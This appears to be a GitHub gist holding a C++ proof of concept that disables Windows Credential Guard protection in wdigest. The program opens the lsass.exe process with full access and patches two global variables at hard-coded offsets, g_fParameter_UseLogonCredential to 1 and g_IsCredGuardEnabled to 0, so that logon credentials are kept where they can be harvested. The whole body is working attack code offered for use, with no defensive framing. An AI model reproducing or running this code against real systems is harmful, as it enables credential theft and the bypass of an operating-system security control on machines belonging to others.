-
-
Save iNoSec2/38ace7dadc7cca71ed4c25808899f9c3 to your computer and use it in GitHub Desktop.
PoC for enabling wdigest to bypass credential guard
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _CRT_SECURE_NO_WARNINGS | |
#include <Windows.h> | |
#include <Psapi.h> | |
#include <TlHelp32.h> | |
#include <iostream> | |
DWORD GetLsassPid() { | |
PROCESSENTRY32 entry; | |
entry.dwSize = sizeof(PROCESSENTRY32); | |
DWORD pid = 0; | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL); | |
if (Process32First(hSnapshot, &entry)) { | |
while (Process32Next(hSnapshot, &entry)) { | |
if (_stricmp(entry.szExeFile, "lsass.exe") == 0) | |
{ | |
pid = entry.th32ProcessID; | |
break; | |
} | |
} | |
} | |
CloseHandle(hSnapshot); | |
return pid; | |
} | |
BOOL PatchWdigest() | |
{ | |
DWORD lsassPid = 0; | |
HANDLE hLsass = INVALID_HANDLE_VALUE; | |
//Set these per Wdigest version | |
//Offset for wdigest!g_fParameter_UseLogonCredential | |
ULONGLONG logonCredential_offSet = 0x36124; | |
//Offset for wdigest!g_IsCredGuardEnabled | |
ULONGLONG credGuard_offSet = 0x35b88; | |
lsassPid = GetLsassPid(); | |
printf("Lsass Pid = %d\n", lsassPid); | |
if (0 != lsassPid) | |
{ | |
HANDLE hLsass = OpenProcess(PROCESS_ALL_ACCESS, FALSE, lsassPid); | |
if (INVALID_HANDLE_VALUE != hLsass && hLsass != NULL) | |
{ | |
HMODULE hArray[256]; | |
DWORD fak; | |
EnumProcessModules(hLsass, hArray, sizeof(hArray), &fak); | |
char szFilename[256]; | |
for (unsigned int i = 0; i < (fak / sizeof(HMODULE)); i++) | |
{ | |
GetModuleFileNameExA(hLsass, hArray[i], szFilename, 256); | |
if (strstr(szFilename, "wdigest")) | |
{ | |
MODULEINFO moduleInfo; | |
if (GetModuleInformation(hLsass, hArray[i], &moduleInfo, sizeof(MODULEINFO))) | |
{ | |
unsigned char* ptr = (unsigned char*)moduleInfo.lpBaseOfDll; | |
//Locations of each variable | |
LPVOID addrOfUseLogonCredentialGlobalVariable = ptr + logonCredential_offSet; | |
LPVOID addrOfCredGuardEnabled = ptr + credGuard_offSet; | |
DWORD dwCurrent = 0xAABBCCDD; | |
DWORD dwCurrentLength = sizeof(DWORD); | |
SIZE_T bytesRead = 0; | |
DWORD oldProtect, newProtect; | |
//Patch wdigest | |
//No need to VirtualProtectEx for UseLogonCredential | |
printf("\nPatching g_fParameter_UseLogonCredential....\n"); | |
printf("g_fParameter_UseLogonCredential offset = %llx\n", logonCredential_offSet); | |
if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead)) | |
{ | |
printf("\t(1) dwCurrent= %d for g_fParameter_UseLogonCredential\n", dwCurrent, bytesRead); | |
} | |
else | |
printf("(1) Failed to read memory address for g_fParameter_UseLogonCredential\n"); | |
//Set g_fParameter_UseLogonCredential to 1 | |
DWORD dwUseLogonCredential = 1; | |
SIZE_T bytesWritten = 0; | |
if (!WriteProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, (PVOID)&dwUseLogonCredential, sizeof(DWORD), &bytesWritten)) | |
{ | |
CloseHandle(hLsass); | |
printf( "Failed at WriteMemory for g_fParameter_UseLogonCredential. Error %d \n", GetLastError()); | |
return FALSE; | |
} | |
if (ReadProcessMemory(hLsass, addrOfUseLogonCredentialGlobalVariable, &dwCurrent, dwCurrentLength, &bytesRead)) | |
{ | |
printf("\t(2) dwCurrent= %d for g_fParameter_UseLogonCredential\n", dwCurrent, bytesRead); | |
} | |
//End UseLogonCredential Patch | |
//Patch cradGuard | |
printf("\nPatching g_IsCredGuardEnabled...\n"); | |
printf("g_IsCredGuardEnabled offset = %llx\n", credGuard_offSet); | |
if (!VirtualProtectEx(hLsass, addrOfCredGuardEnabled, sizeof(DWORD), PAGE_READWRITE, &oldProtect)) | |
{ | |
CloseHandle(hLsass); | |
printf("(1) Failed at virtual protect for g_IsCredGuardEnabled. Error %d \n", GetLastError()); | |
return FALSE; | |
} | |
if (ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead)) | |
{ | |
printf("\t(1) dwCurrent= %d for g_IsCredGuardEnabled\n", dwCurrent, bytesRead); | |
} | |
else | |
printf("(1) Failed to read memory address for g_IsCredGuardEnabled\n"); | |
// | |
//Set g_IsCredGuardEnabled to 0 | |
DWORD dwCredGuard = 0; | |
if (!WriteProcessMemory(hLsass, addrOfCredGuardEnabled, (PVOID)&dwCredGuard, sizeof(DWORD), &bytesWritten)) | |
{ | |
CloseHandle(hLsass); | |
printf("Failed at WriteMemory for g_IsCredGuardEnabled. Error %d \n", GetLastError()); | |
return FALSE; | |
} | |
if (ReadProcessMemory(hLsass, addrOfCredGuardEnabled, &dwCurrent, dwCurrentLength, &bytesRead)) | |
{ | |
printf("\t(2) dwCurrent= %d for g_IsCredGuardEnabled\n", dwCurrent, bytesRead); | |
} | |
if (!VirtualProtectEx(hLsass, addrOfCredGuardEnabled, sizeof(DWORD), oldProtect, &newProtect)) | |
{ | |
CloseHandle(hLsass); | |
printf("(2) Failed at virtual protect for g_IsCredGuardEnabled. Error %d \n", GetLastError()); | |
return FALSE; | |
} | |
//End creadGuard Patch | |
CloseHandle(hLsass); | |
printf("Success\n"); | |
return TRUE; | |
} | |
} | |
} | |
} | |
else | |
{ | |
printf("Failed, bad lsass handle\n"); | |
return FALSE; | |
} | |
} | |
return FALSE; | |
} | |
int main() | |
{ | |
if (!PatchWdigest()) | |
return 1; | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment